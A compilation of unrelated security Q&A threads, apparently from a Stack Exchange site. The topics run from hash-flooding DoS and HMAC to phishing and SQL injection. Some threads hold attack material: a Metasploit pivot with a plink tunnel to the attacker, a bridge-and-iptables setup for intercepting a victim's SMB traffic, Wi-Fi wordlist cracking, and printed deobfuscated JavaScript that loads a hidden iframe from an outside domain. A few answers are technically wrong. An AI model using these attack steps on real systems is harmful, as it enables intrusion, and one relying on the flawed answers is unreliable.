Resource consumption attacks against algorithms I am studying algorithm construction and weaknesses to resource consumption.  One vulnerability that really caught my eye was the Apache Range Header DoS Vulnerability.  The following quote was taken from Apache developers discussing the flaw:

  From looking at the code, I think the problem is the bucket structs.
  With N the number of requested ranges, the initial brigade is
  partitioned into 2*N buckets at the maximum. Then those buckets are
  copied into the output brigade N times, which means that O(N^2)
  buckets are created. The data is not copied, and only N "A-B" strings
  are allocated from the pool.

Does anyone else know of other resources about building algorithms that are resistant to resource exhaustion attacks?   Does anyone of interesting papers related to Algorithmic analysis and susceptibility to resource exhaustion?  Do you know of other resource consumption vulnerabilities that where caused by flawed algorithms?

This attack is known as Hash DoS, or more generally as Algorithmic Complexity Attack.

There are several ways to implement lookup tables:

Balanced trees
The relevant operations have logarithmic performance, regardless of the data. These are naturally immune to this attack, but they're slower.
Hashtables
If the hashes are well distributed, the relevant operations are O(1) and really fast, but if they're badly distributed they become O(n).

There are two common strategies to avoid Hash DoS: You can switch to trees, or you can use keyed hashes.

For keyed hashes the server chooses a random secret key. Depending on the situation this key can be per-process, per-table, per-request,... Longer lifetimes can allow adaptive attacks over multiple requests, but I'm not sure how big a problem that is in practice.

Then it uses a keyed hash to determine the bucket, instead of an unkeyed hashfunction. If the keyed hash is good, this prevents the attacker from producing collisions quickly. Earlier keyed hashes often suffered from key independent collisions, and thus didn't prevent the attack once these were found. Currently SipHash is gaining popularity, since it's fast, but still cryptographically secure.

My recommendation is using SipHash and to avoid key reuse across requests where possible.

Breaking Murmur: Hash-flooding DoS Reloaded (On Martin Boßlet's blog)
SipHash/Attacks

  Attacks
  Jointly with Martin Boßlet, we demonstrated weaknesses in MurmurHash (used in Ruby, Java, etc.), CityHash (used in Google), and in Python's hash. Some of the technologies affected have switched to SipHash. See this oCERT advisory, and the following resources:

  Slides of the presentation "Hash-flooding DoS reloaded: attacks and defenses" at Application Security Forum Western Switzerland 2012 (Aumasson, Boßlet)

Hash DoS against BTRFS
Many programming languages are currently upgrading their standard libraries to avoid Hash DoS. These attacks hit dynamically typed languages very hard, since they typically use hashtables almost everywhere (member names to values etc.)

Some big projects upgrading their hashtables:

Ruby, JRuby - SipHash
Perl - SipHash
Haskell - SipHash,
.net - Custom, probably inspired by SipHash but seems much weaker
Redis - SipHash


Generate every alphanumerical combination in crunch within 8-20 characters in length I want to generate combinations in sequential range of the length 8-20 with the following characters:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()~`";.,/[]-=

How could I achieve this with kali's crunch wordlist generator tool?

I am trying to crack my own wifi password using crunch to test how secure it is, if there's a better method for cracking wifi passwords with generated wordlists I will accept this answer also if it works efficiently. (against random passwords for example: "DNTNYTJ$575dbMUYDfdwsv546u7bDF")

I think this is a strange one, some people say that the word list would be too big, but surely with some common sense and basic odds. There must be a way to reduce the size. Firstly can't crunch split the password file up for you, I haven't used it but im sure i read it can. Granted you'd still have allot of smaller files.
But then think about wifi passwords you never see these passwords have more than 3 or 4 of the same digit next to each other. IE AAAAgjrienfoe or fnen3333kfk (not saying it doesnt exit) So if you figured a way to delete all instances of this you would reduce your password size significantly. Then if you split your password list up onto multiple computers, again reducing the time. If you had 50 Raspberry Pis it wouldnt take as long as if you had 1.
There's always ways to reduce time and combinations.


Should I use HMAC in this situation I need to store a big message encrypted on a server.
What I am about to do is:

Encrypt the message with a AES key;
(Authentication) Hash the message with SHA512 and encrypt the hash with RSA priv key (signature);
Encrypt AES key, IV and item above with destination RSA public key.

Where HMAC can help?
I have authentication of information and encryption, already, so should I use it?

HMAC is generally more applicable to situations where two entities want to communicate securely over the internet. It provides two key things, confidentiality and integrity. confidentiality by proving the remote client has possession of the "secret" ingredient, integrity, through validation of message digest.

In your use case, local storage encryption, encrypting the Symmetric key with RSA Public key should work just fine, so long as you are protecting the private key with strong protection mechanisms.

One more thing, in step2, why are you hashing the message digest with RSA private key?, It's better to use the public key instead.


Metasploit: pivoting to machine without internet access Let's imagine the following (not uncommon) scenario:

I'm doing a pentest from the outside
I have a meterpreter session from a company PC that´s within their infrastructure (Let´s say w/ reverse HTTPS)
Let`s say I know the domain admin pwd [just for the sake of brevity!]
I want to get into the DC
The DC can't connect to the internet

How would you go about this?

First challenge is to get meterpreter on the DC without getting caught. My instinct would be to create an executable, sign it, and then be really oldschool: do a "net use \DC\c$ ..." on the machine in the middle and copy it over. Then remotely schedule a task with "at". Is there a more metasploity way to do that? Do the psexec_* modules even work through a windows meterpreter?

Second challenge is: How would the meterpreter on the DC connect back? I could not get the named pipe feature of meterpreter to work reliably. MSF acknowledges receiving a session, then the meterpreter process on the machine in the middle crashes. Ooops. [Edit: It only crashes when the middle machine is using reverse_HTTPS. It works with reverse_tcp, with the odd hang that leaves the process lingering. I filed a bug report. Currently not convinced this is ready for production]

Port forwarding? Middle machine port forwards out and the DC connects through the middle machine to me? HTTPS? Is opening new ports on computers ok in 2018?

What's the way for this scenario that both works and doesn't totally trigger all alarms?

"Hack Naked" - Make sure you don't have any firewall issues to you because you may only get 1 shot at this. Figure out the complexity of getting ports forwarded to your machine. I think this should do it... but it requires testing once you're in to make sure that you can ensure connectivity.

Configure local port forwarding on the victim pc with plink. (assuming windows)

Victim listens on 53 or whatever you want (using 53 as example)
Victim forwards to your host on XYZ port
If using msf or nc, setup the listener.
On Victim: plink -batch -l root -pw {password} yourip -p {22} -L 53:127.0.0.1:4444
I put {22} in curly brackets because you don't know for sure if you can get port 22 open on that port. Egress rules might not permit outbound ssh. Especially if it's a MS only-shop. You can rack your brain on iptables redirect for a specific port to 22, or just add the listening port to sshd_config. Remembering to restore defaults later.

You would configure your payload to connect to the open port on the victim pc... you're relying on the port forwarding tunnel on the victims port 53 to be received on your system local port 4444.

LHOST=victim internal ip
LPORT=53

Make sure to verify connectivity and then deliver your payload/execute


Unidentified Filemount in Ubuntu Not sure if this should go under security or Ubuntu but, I believe that my server got hacked somehow. Its being hosted on Digital Ocean and I mainly use it fiddle around with things. Today, I got a notification from NewRelic that my sever has surpassed 90% disk usage. Logging in, I run a normal df -h to find this:

Filesystem                    Size  Used Avail Use% Mounted on
210.42.248.9:/public/home2    917G  826G   46G  95% /var/tmp/temp

I find that odd because I haven't mounted anything recently, yet alone touched the server in a couple months. I can view all files in the share but nothing seems to be useful. Just a bunch of binaries and tars in folders. The IP seems to be from China. I got the notification today, so I checked fstab and history of accounts created on the server. I don't see anything fishy but, I'm starting to think that I got hacked. I know this is possible but how?  Has anyone ever seen anything like this? Is there anything I can do further to prevent this?

Server details: Root account disabled, ssh port changed, I'm the only user with access and haven't been logged on in months. This had to have happened today because I got the NewRelic notice this morning.

First and foremost, have you contacted tech support? If there's a forensics investigation to perform you should not meddle with your server but flag it and let them do their digging.

Secondly, assuming tech support doesn't want to or cannot help, the fact that you got the notification on day X does not imply that the mount happened on the previous day. From what you're writing the notification is informing you about your local disk usage, and the output shows a remote mount. Is the notification triggered for all mounts or only local mounts?

Thirdly, please look in the logs and see if you can find anything suspicious including mount failures, logins from root or other accounts in the two months you know you haven't touched the server. You might want to take a look at the content of the remote mount and find the earliest created file from your user (looks like a NFS mount so I assume there's user parity between yours and the remote system).


How to find out whether a state has its own CA? Occasionally, I've seen the following:

Adding debian:Staat_der_Nederlanden_EV_Root_CA.pem
Adding debian:Staat_der_Nederlanden_Root_CA_-_G2.pem
Adding debian:Staat_der_Nederlanden_Root_CA_-_G3.pem

If I understand properly, the Dutch have their official CA?

How could I check for same in other countries? Or, to be more specific, Germany and US?

The question of whether they have a CA is hard to answer, as anyone can make a CA. The important question usually is not whether they have one, but whether they have one recognized by major browsers. There is a list of CAs trusted by Mozilla here. You can find similar lists for other browsers and operating systems (some browsers use lists included in operating systems they run on, Chrome for example).

But for example, the US has its own CA, that is not trusted by Mozilla and other browsers/OSs. It is however trusted by Android (for some reason Android trusts way too many CAs). This means if you visit a site with certificate from this CA using Firefox, you will get an SSL error.


Get the privileges of root with the user with I do an exploit with Shellshock I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability:

use exploit/multi/http/apache_mod_cgi_bash_env_exec

When I'm inside the machine I want to get the root privilege with my user, by default Shellshock doesn't gives you the root user, but I want to transform my user to the root privileges, I've tried this with sudo controls but my shell meterpreter doesn't recognize that command options, is there an alternative way of get the privileges of the root with the user that I obtain in Metasploit?

Could be a working option change the user that I have (consulting getuid) to 0:0 in the /etc/passwd password fields in the file?

You'll need to identify and exploit a privilege escalation vulnerability on the machine.


Security considerations for USB keyboard/mouse switches I am considering purchasing a basic USB keyboard/mouse switching box in order to allow me to use the same keyboard and mouse with two different physical machines. This is similar to a KVM (keyboard video mouse) switch, but just for the input devices rather than the display as well.

The two devices I want to switch between are my highly secure main computer and a less-secure secondary laptop that I use for travel (hotel Wi-Fi, etc) and for browsing potentially insecure non-tech websites (eg: online furniture shopping, local businesses, etc).

The roles of these two machines are clearly separated, for example I do not log in to any valuable online services using the travel laptop, and I have a separate set of online accounts to use on it. I treat the machine as though it is definitely compromised.

I am aware that Belkin have a range of 'secure' switches that are NIAP listed and have passed various accreditations, however most of these are more expensive than consumer switches as they are designed primarily for business/government use.

One that stands out to me is the Belkin OmniView Secure Series: https://www.amazon.co.uk/dp/B000UNBNVW/, which has the following security features advertised:

Listed by NIAP and pending NIAP Common Criteria validation to EAL 4
Prevents data transfer between classified and unclassified computers
Features no hot keys or OSD to prevent data from being stored on KVM Switch
Non-reprogrammable firmware prevents tampering with KVM logic
Provides full support for USB computers, keyboards, and mice

Are you just paying for the accreditation here or is there a legitimate security advantage over more basic consumer switches?

I know that using a USB switching box does not protect me from attacks against the peripherals themselves, such as a vulnerable keyboard controller, badusb, etc.

However, the bit that concerns me just by looking at the box is that there is a cable from both of my machines that connects to a central point. These machines are really supposed to be air-gapped from each other.

Are my security concerns valid/appropriate and do you think there is anything I have missed?

Could there also be a better solution to my problem?

Thank you.

Points on the product page

  Are you just paying for the accreditation here or is there a legitimate security advantage over more basic consumer switches?

Listed by NIAP and pending NIAP Common Criteria validation to EAL 4

This is just the certification, although certification should check for some issues.
Prevents data transfer between classified and unclassified computers

As it is a KVM it means you can swap between using machines without having to change controls, but it doesn't prevent transfer, it just reduces the need to transfer files.
Features no hot keys or OSD to prevent data from being stored on KVM Switch

This may be of use, although a lot of shortcuts could be implemented without logging any data (only intercepting a set combo and not storing any input data)
Non-reprogrammable firmware prevents tampering with KVM logic

This is a double-edged sword, on one hand malware cannot be loaded onto the device, on the other any bugs in the device cannot be fixed.
Provides full support for USB computers, keyboards, and mice

Provides no extra security

Bridging the airgap

  However, the bit that concerns me just by looking at the box is that there is a cable from both of my machines that connects to a central point. These machines are really supposed to be air-gapped from each other.

The KVM would be a path over the airgap, but you also need to consider other ways to bypass it, such as:

Using load to signal over the power line voltage
Using microphones and speakers to communicate using inaudible frequencies
Using fan speed to transmit data

You have to weigh up any bridge over the airgap as:

(likelihood of attack + ease of defence) / necessity

In this case, if you need to use the same inputs you can treat it as an acceptable risk in the same way you would treat plugging both machines into the same power supply as an acceptable risk.


How would you detect whether customer data has been leaked? I'm a very security conscious (bordering paranoia) freelance web developer and I place a lot of emphasis on security with my clients, alas I've found this doesn't seem to be the case for the average web developer.

Something that's been bothering me lately is the thought that the people I usually hand projects over to most likely wouldn't notice if the server got compromised unless the attackers defaced something or did some other "LOOK AT ME!" gesture. But if the attackers quietly snuck in and out, nabbing all customer data they'd be none the wiser. So, my question is are there ways to detect if customer data has been leaked whilst no longer being involved in the project? (no IDS, access to logs etc.)

What I've done so far is placed orders on a few of these sites with unique strings in the address and order note fields, and used a separate e-mail address – I've set up Google Alerts to search for these unique strings and e-mail address.

Monitoring for records from the DB to be posted are really all you can do without direct access to the server.  You could try penetration testing the site yourself to look for holes, but that is probably unwise and possibly illegal depending on jurisdiction and the Terms of Use of the site and any contractual obligations you might have from when you wrote it.

If you are really concerned, you could simply ask permission to do periodic penetration testing on the sites of former clients to help ensure their sites remain secure.  If you find a vulnerability being exposed on one of them, you could then report it to them so they could either fix it or have you come in to fix it.


Security implications of source code location Were working towards implementing a SDLC for a company and as in any complex environment there are differences of opinion for the new process. Some of the developers want to make use of one directory others want to use another. Due to IT resource constraints there can be only one directory that will be exempted from e.g. real time anti-virus for performance and file integrity monitoring.

Environment specifics are:

All source will be created and compiled on Windows platforms
Most developers will have local admin rights
Enterprise security tools such as AV, FIM and a hardened Win10 image are in place
Different project teams use different languages, IDEs, compileres, tools etc

Are there specific security benefits to locating the source code in the user profile directory e.g

%USERPROFILE%\source

or is it irrelevant and a short directory such as:

C:\Code

Will work just as well with no security implications?

It's irrelevant. This is because the user is running with the permissions to access this folder, if the user gets compromised it doesn't matter in which folder the source code is stored.

Make sure you use Bitlocker to encrypt the hard drives in case the endpoint gets stolen.


Is it enough to look at the sender's email address? I use Gmail. When I receive an email, Gmail displays the sender's email address. So far I've always looked at this address when receiving sensitive mails, to avoid phishing. For example, I know by heart that PayPal's site is paypal.com so I just check that the email indeed comes from a paypal.com address. I always thought this is sufficient as a security measure.

Now, though, I read the "Authentication icon for verified senders" Gmail support article. It seems to say that my described practice is not enough and I should also enable the mentioned "lab" and look for the "key" icon every time.

My question is, why should I do that?

Email is a very old plain-text protocol (dating from the 1970s/1980s).

Anyone who controls a mail-server can send out mail from their mailserver using any return address (including ones at other domain).   SMTP doesn't include any checks that the mail came from a mail server who controlled the domain listed on the From: line.

Extensions to email protocols exist to help prevent this email spoofing problem (see specifically DKIM, SPF, DMARC).

Bottom line, you can't naively trust the From line in an email.


What are the dangers of storing webserver temp files in the /tmp/ folder? I have configured my first publicly accessible nginx server. I have configured it to use a /tmp/nginx folder to store temp files.  This includes the body of http requests, proxy files etc.  The /tmp folder is on external partition with nosuid, noexec and nodev privileges.  Is this configuration potentially dangerous?

The greatest concern is that an attacker can use a temporary directory to store executable code,  which is a useful foothold when exploiting your system.   Almost always the /tmp has very open privileges,  such that any process can write to them (chmod 777).  As an example, I took advantage of this property of /tmp when bypassing AppArmor to obtain remote codex execution in PHP-Nuke using a Local File Include vulnerability chained with a MySQL's into outfile.    File uploads are also commonly stored in /tmp which in PHP can also turn a LFI vulnerability in to remote code execution.

Regardless of platform there are two permission strategies you must adopt.  The rational is that an attacker is going to use your application against you and there for is limited by what the application can do.

The web application must never have write access to any file
    or folder within the web root or any of the application's executable
    files.  An attacker will use this to introduce a backdoor or to
    perform drive-by-download attacks on clients.
A web application must never be able to execute code that is not
in a file within the application's directory.  never use
eval(), it is often a dirty shortcut and leads to remote code
execution.  In PHP you can set the open_basedir configuration
option such that it can only include files within your application
directory.  You can also disallow access to eval() and other
exploitable php functions using hardened-php.


How can intelligence services be so sure that Russia is the culprit? Recently,
US and non-US media has been publishing many articles regarding Russia being involved in the "Podesta-hack" or even accusing Putin of being directly responsible.
For example:

"Putin directly involved in US election hacking" (MSNBC)
"White House accuses Putin of personally authorizing US hacks, aiding Trump victory" (DW)

However, none of these articles give any proof for such a claim, they are just referring to secret CIA information. Furthermore, in my country, Germany, media outlets are jumping on the accusation-bandwagon and start accusing Russia/Putin of hacking the NSA investigation committee.

Again, no evidence can be provided.

Now to my question:
I think that it's possible to act almost totally anonymously online, especially when you're backed/funded by a government. Also, I am aware that the CIA and german intelligence probably have their sources which cannot be made public.

But how can we be sure that this is not entirely propaganda against the russian government? Wouldn't one expect that Russia would be able to cover their tracks, if they'd want to?

What I have seen a couple of times now is the point that the attacker's active-time is coherent with the timezone of Moscow? Is this already enough evidence? What other possibilities are there to identify an attacker, when he knows his business and is hiding his IP/Info and not making stupid mistakes?

This is nearly a dupe of How do organizations check what has been hacked?  While that question deals with unraveling what, you're asking about unraveling how and by whom.

  What other possibilities are there to identify an attacker, when he knows his
  business and is hiding his IP/Info and not making stupid mistakes?

There are a lot of possibilities.  There's a lot more to remaining un-attributed than "not making stupid mistakes"!  it's fair to say, any APT (nation-state) actor is going to be attributed, eventually, by any nation-state level defender.  National Defense gets hella more resources than, say, you trying to figure out who took advantage of your Yahoo! credentials.

If you read the list of forensic steps that can be taken, the methods of backtracking rely on all the bits of data, each of which is a small piece of the puzzle.

Data you'll start with:

IP addresses used in the attack
Attack tools used in the attack and left on the target servers
Times of activity (as you say, not conclusive, but a piece of the puzzle)

To quote the bible, "By their fruit you will recognize them."  The advanced hacking groups build their own specialized tools, sometimes use the same IPs to route themselves through, and show enough consistency in times of activity to offset them from other advanced groups.

Some of this stuff can get really nitty-gritty.  Individual actors have been identified personally because their username was embedded in a directory that was embedded in a file compiled from source that referenced that directory.  Small strings found in one set of files have been enough to tie together that attack with another that also happened to have the same signature strings.

At the national level, the people who are working to defend and investigate have access to an awful lot of puzzle pieces, and can use them to attribute actions.  They may know that attack XYZ, for example, was blatantly tied to Russia, and that attack QRS has a significant overlap of indicators.  Enough overlap?  They conclude that QRS was also tied to Russia.

If you're interested in seeing more about how this is done, I strongly recommend reading Mandiant's "APT1: Exposing One of China's Cyber-Espionage Units"


MitM-Position with bridged network and iptables I'm currently trying to get my setup to work.

[ victim ] --- [ mitm ] --- [ net ]

IPs:

net: 10.0.0.0/24
victim: 10.0.0.1
mitm: 10.0.0.2
gateway: 10.0.0.254

setup:

ip l a name br0 type bridge
ip l set br0 up
ip l set eth0 up
ip l set eth0 master br0
ip l set eth1 up
ip l set eth1 master br0

ip a a 10.0.0.2/24 dev br0
ip r a default via 10.0.0.254 dev br0

The bridge works, I can access the net from the victim.

Now I'd like to reroute port 445 to my proxy on the bridge for the victim so the victim has to access my proxy for Group Policies.

How do I achieve that?

iptables -t nat -I PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445

does not help, unfortunately. (This is the setup I can use if I can force the victim in a subnet I activate myself, using routing on the mitm laptop instead of bridging network interfaces. The routing scenario is
currently impossible.)

Thanks to @whitewinterwolf I found a solution to the problem.

I had a wrong conception of how this proxy was supposed to work.

If you're looking for a c&p-solution, please see below.

# bridge setup as before
ip l a name br0 type bridge
ip l set br0 up
ip l set eth0 up
ip l set eth0 master br0
ip l set eth1 up
ip l set eth1 master br0

ip a a 10.0.0.2/24 dev br0
ip r a default via 10.0.0.254 dev br0

# now ensure that netfilter works on the l2 bridge
modprobe br_netfilter
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables

The reason it didn't work before is that iptables does not normally work on the second layer of the OSI model but on the third. Bridges are on the second layer and therefore don't care about PRE- or POSTROUTING activities. The br_netfilter kernel module enables exactly that. Afterwards you just have to turn on the functionality.

Networking is hard but fun.


Criteria for an ADSL wireless modem I'm going to buy a new ADSL wireless modem, and what really matters to me is security.
So, what are the criteria I should consider, and which security features should I look for?
How should I compare the modems in terms of the security (for example, WPA2 > WPA > WEP !!!)?

As far as the modem functionality itself, it doesn't really matter that much.  Unless someone is taping your phone line (which is normally done at the ISP's end now anyway) then it won't matter a bit.  It's a wired connection that isn't going across a public network.

If the ADSL modem also provides router functionality, then the same advice as a router would apply.  You'd want a strong firewall and good wireless encryption.  For more info on router functionality to look for, you can look at this question which already answers it.


Are we anonymous when not connected to internet on windows? When we don't use internet on windows, can windows or any Laptop vendor can access our Laptop (similar as connected to internet ). If yes, then How ?

Are we anonymous when not connected to internet on windows?

It really depends on a lot of factors. Generally, you should not worry, but this doesn't protect you against malware that saves what you're doing offline, and then uploads the data after you reconnect to the internet.

  When we don't use internet on windows, can windows or any Laptop vendor can access our Laptop (similar as connected to internet ). If yes, then How ?

This depends. If you want to know if someone can access your windows installation, then yes, it's quite possible. And you don't even need to be using Windows. If you think a laptop vendor is going to access your computer, then I don't think that's legal - and most of them don't have this capability anyway.

However, there exists anti-theft features on some hardware which, when activated, can help allow a vendor to find where the computer is being used in the world.

If you mean, "is it possible for malicious software and devices to allow access to an air-gapped computer?", then also yes, that is possible as well. There are many methods which aid in doing so, but I'll list a couple and try to keep it short:

The Ultrasonic Malware Method

Let's say there's a trojan on your computer which sends data over the speakers, and receives it over the microphone, and you can't hear that because it's on the ultrasonic level. Yes, it's possible. It's very possible, in fact.

The Implant Method

If you're being targeted by a nation-state actor, there are cables which can help assist in spying on you. You can read more, and find example pictures in the leaked NSA ANT catalog. Notable examples include:

A monitor cable that, when installed, allows what's happening on your monitor to be recorded.
A hardware keylogger that monitors your keyboard's input.
Implants that modify the USB connector which provide air-gap bridging support.

Some of this malware seems to be obtained through supply-chain interdiction, wherein the NSA intercepts your shipments from retailers such as Amazon, Best Buy, et al., and replaces them with hacked variants.

However, air-gap bridging malware can be installed through software exploits as well.

Of course, this is not limited to the NSA. There are very likely other countries whose intelligence agencies use the same tactics and technologies.

Further reading

If you'd like to learn more, Bruce Schneier has a good article on avoiding malware that jumps airgaps. However:

His cloud-based anti-virus upload idea will not work against malware that hasn't been detected in the wild. Nation-state malware can usually get around this very easily. It's actually relatively easy to bypass anti-virus programs.
His idea for using Tails is not that great. If there's a vulnerability in the tails OS, you have access to that session while it runs in memory. Qubes would be a better idea.
He thinks disabling speakers and microphones is, "too paranoid for him." At the time he wrote this, I don't think he was aware of malware that exclusively uses microphones and speakers.


Is the password hash better when you concatenate the password and username? Is the password hash (with bcrypt) better when You concatenate the username with password?

For example:

$this->hash($username . $password);

and

$this->hash($password);

Last time I used sha1($username . $password), but now when creating a new project I want to know does it really matter? Does it increase its encryption strength?

What you are describing is a Salt. The primary purpose of having a salt is to protect against rainbow table attacks. Ideally though, the salt should be randomly generated, and not be derived from the username.


How to Check Compilation Options For SO File - Android Application VA During the security assessment of Android applications, I have encountered multiple instances where .so (Shared Objects) files are present in lib directory.
What can be possible security test cases for the same.

I have one test case, i.e. Insecure Compilation Options of ELF file. But I have no idea how to check the compilation options of the same, for example missing -fstack-protector, PIE etc.

Thanks in advance!

To determine if stack-smashing detection has been compiled into the binary, after decompilation with apktool, your shared object libraries as you know can be located in <apktool_outdir>/lib/<arch>

cd <lib_dir>

for o in $(ls); do echo -e "\n\n$o:" && strings $o | grep stack_chk; done


Can the use of GPS devices leak personal identifiable information? When you use a GPS device, satellite signals are used to give you your position. It seems reasonable to assume that information about the device you're using may be transmitted to the satellite as well.

The question is whether this information is logged and if it can potentially identify you.

It seems that if you registered your GPS device the information could be linked. If the GPS is instead from a mobile phone, it could be easily linked through IMEI and phone number, and even transmitted by internet when the device connects to wifi.

Is that correct and is it preventable?

There are several ways to perform and log location of a person. When using a phone it and the GPS is turned on, an application can access your GPS location (if the app has permissions to do that) and send it through the internet to a remote location. He can also store this in a database and send it after a sucessful connection.

GPS is certainly not the only way of doing this, a more interesting way is to track the cell tower identifiers (in Android you can actually create and subscribe to a broadcast that notifies you when the celltower changes) and keep these in a database. From there you can send the data to a remote location once the device is connected to the internet and match the cell tower identifiers to their geographical location. This will allow you to make an approximation of where the person was walking.

The only way to try to prevent this is by checking the permissions (access) your application wants/needs and just not install software that wants to access your cellular network or GPS location.


Security of applications on .net platform On .net we use SecureString class to keep our applications variables in memory, safely.

  Microsoft says: Represents text that should be kept confidential. The text is encrypted for privacy when being used, and deleted from computer memory when no longer needed. This class cannot be inherited.

This class is in a library called mscorlib.dll I have doubts about security. Can someone replace this library with a corrupted one? A malware can corrupt this class to bypass its security and after that it can dump memory and access my variables in plain text. Is it a possible attack? If so, how can I protect my software against this attack?

SecureString doesn't protect you if you already have malware running with high privilege. It's not possible to do so, for SecureString or anything else. You can't protect your software from this kind of attack; if you can't trust your copy of mscorlib or anything else running in your process, you've already lost.

What SecureString does is ensure that if a machine is compromised in the future, any newly-installed malware can't recover historical SecureString content from previously-used storage. This might make life harder for the attacker in that they would have to sustain running without the infection being detected and removed, to pick up content as it is used, instead of dumping mass content in one go.

This is a marginal win at best. Depending on the application and its threat model, SecureString may be a worthwhile mitigation or it may offer little or no value.


I found out what it does (please be lenient with me, I am not a javascript developer)

What can be easily seen, is that the script invokes String.fromCharCode() on the numbers present on the a string to create a new String, and execute it. The code the a string get's translated to is:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('

');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Now, I am not sure about that (remember I am no javascript developer) but it seems to be code that steals cookies (session hijacking perhaps)?

EDIT

On further research:

The script is checking if there is a specific cookie present (Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation") and if it is not it creates it.
It then creates a new element in the document, which it modifies to make it very difficult to notice (7 pixels width, 9 pixels height), and which runs a php script available at http://ninoromano.it/DNGJxdCW.php. If you visit this, it returns "ok" and nothing else in the page's code (the domain appears to be compromised). (I can't get any more information beyond that)

Most likely it is a session hijacking attempt.


Have I Been Pwned Breached Email List by Domain Names HIBP is a great service that I've been using for a long time.

I had a question surrounding Domain Search feature on HIBP. I believe there has to be some form of verification from our end in order to search for breached accounts by domain. How are the Threat Intelligence companies bypassing this? when all we provide to them are various domains as keywords and they are able to provide us with all the breached emails. Is there a way for us to download the entire email dump for a particular breach? It would be great if you could provide some clarity here!

Here's the answer from the CTI Vendor. (Name replaced with Vendor X)

  For HIBP, Vendor X had a custom and paid integration. Vendor X paid
  HIBP a fee whenever a new breach (which Vendor X did not have) was
  acquired by HIBP. Therefore, we did not use the Open API, we built a
  custom integration that pushed any new breach acquired by HIBP into
  the Vendor X portal. This was the reason no passwords were ever
  present in HIBP breaches in Vendor's portal (paid service), because
  under UK and GDPR law, any exchange of PII (including passwords)
  between any two entities, where money is involved, is a crime.


How to overcome Blind SQL Injection I know that SQL Injection can be sanitized by using

mysql_real_escape_string();

but how to Sanitize Blind SQL Injection and how is it different from normal sql injection.

Blind SQL injection and "normal" SQL injection are both SQL injections, i.e. the attacker is able to modify the SQL statement sent to the database. The only difference is that with blind SQL injection the attacker does not see any obvious result (i.e. data returned by the database) but can only deduct from timing, error messages or similar what happened in the database. See OWASP for more information.

Because the cause of both blind SQL injection and "normal" SQL injection is the same the prevention is too, i.e. make sure that the attacker cannot modify the SQL in a malicious way. The preferred way to do this is parameter binding and not escaping (i.e. mysql_real_escape_string). For more information how to do it right see Bobby Tables: A guide to preventing SQL injection which both describes the problems and has also solutions in various languages like for PHP.


Is it possible to hide your MAC address before connecting to open wifi? You hear about black hats working from coffeeshops on public WiFi, but I'm wondering how you would be able to completely mask your IP when doing this.  I realize you would obviously use a VPN, but before you can do this, you need to make a connection to WiFi, where your MAC address is going to be used during this initial setup.

Because of this, wouldn't there be evidence of traffic from your IP on this network right before connecting to a VPN?  Or is there some way around this that I'm not thinking about?  Basically wondering how a black hat would actually hide every trace of their IP, or if this is even possible?

This answer discusses this chicken and egg problem somewhat.

You are going to want to research Public vs Private IP address.

Note: Before you connect to their network you have NO ip address(assuming you are not connected to another network at that time).

Let's say you are at a coffee shop and you want to connect to the Wifi. The coffee shop has a public ip address and when you connect to the Wifi hotspot, it is going to assign you a private IP address. This private IP address can be assigned to a different user later when you are done using it. So when it comes to hiding your identity before connecting to a Wifi hotspot you are going to want to change your MAC address also called MAC spoofing. (Note: MAC addresses work at Layer 2 and IP addresses work at Layer 3).

This is because some Wifi hotspots or businesses can keep track of which MAC address was assigned to which private IP address and since MAC addresses are unique to every device, they can use this to associate  your computer being connected to that private IP at that time.

Also research Layer 2 vs Layer 3 in the TCP/IP hybrid model.

Hope this helps!


What is the best way to restrict /proc fs from malicious users (linux)? I am trying to make a restriction to procfs like only a certain groups of members can perform read and write actions.

kernel document says we can do that by setting hidepid and gid in /etc/fstab. It will restrict the malicious user from making read and write on procfs but I have a doubt whether it is possible for malicious user (restricted in the /etc/fstab) to access content in profs using syscall instead of fs operation like read and write.

In general, hidepid mentioned in the comments is the best way.

If you need more security than that, use a mandatory access control system like SELinux or AppArmor, and possibly systrace. These tools let you restrict file system access, syscalls and more. I think most of the info in /proc is not available from syscalls, but I'm not up-to-date on this.

MAC tools are not "click and go" solutions and require quite a lot of work to configure. Before you embark on this, have a think about whether this is the best way to invest your security resources.


What is the difference between RSA1 & RSA in regards to SSH? Also when is the fingerprint & random art used? I have searched this site for RSA1 with no results. From multiple google searches I have understood that RSA1 was used in SSH1 (which isn't recommended). However if its a single algorithm why are there two different ones?

A bit of background on my setup/understanding:

I recently implemented OpenSSH on Ubuntu to script file sending (via scp) to a customers server
How I understand SSH (as I think I might be missing something):

client connects to server
server offers public host key
client accepts
encrypted authentication happens (via password or client public key)
server accepts
shell started (all future content is encrypted with client public key, then decrypted by client private key)

In version 1 of the SSH protocol, the server has a RSA key (always) and the client asymmetrically encrypts a random blob with the server's public key. The random blob is then used as basis for the session key which will be used to encrypt the data.

In version 2 of the SSH protocol, client and server use Diffie-Hellman (or an elliptic curve variant thereof) to established a shared session key. The server signs his half of the protocol with his key, which might be RSA or DSA.

